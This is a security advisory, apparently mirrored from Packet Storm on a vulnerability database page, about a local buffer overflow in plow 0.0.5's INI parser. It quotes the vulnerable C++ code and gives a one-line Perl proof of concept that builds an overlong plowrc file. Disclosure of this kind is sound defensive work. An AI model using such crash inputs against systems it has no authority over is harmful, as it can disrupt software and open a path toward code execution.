Lucene search
K

Plow 0.0.5 Buffer Overflow

🗓️ 04 Jul 2012 00:00:00Reported by Jean Pascal PereiraType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 26 Views

plow 0.0.5 Buffer Overflow Vulnerability, Risk-level: Medium, Discovered by: Jean Pascal Pereira, Vendor: plow is a command line playlist generato

Code
`#################################################  
plow 0.0.5 <= Buffer Overflow Vulnerability  
#################################################  
  
Discovered by: Jean Pascal Pereira <[email protected]>  
  
Vendor information:  
  
"plow is a command line playlist generator."  
  
Vendor URI: http://developer.berlios.de/projects/plow/  
  
#################################################  
  
Risk-level: Medium  
  
The application is prone to a local buffer overflow vulnerability.  
  
-------------------------------------  
  
IniParser.cpp, line 26:  
  
26: char buffer[length];  
27: char group [length];  
28:  
29: char *option;  
30: char *value;  
31:  
32: while(ini.getline(buffer, length)) {  
33: if(!strlen(buffer) || buffer[0] == '#') {  
34: continue;  
35: }  
36: if(buffer[0] == '[') {  
37: if(buffer[strlen(buffer) - 1] == ']') {  
38: sprintf(group, "%s", buffer);  
39: } else {  
40: err = 1;  
41: break;  
42: }  
43: }   
  
-------------------------------------  
  
Exploit / Proof Of Concept:  
  
Create a crafted plowrc file:  
  
perl -e '$x="A"x1096;print("[".$x."]\nA=B")'>plowrc  
  
-------------------------------------  
  
Solution:  
  
Do some input validation.   
  
-------------------------------------  
  
#################################################   
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation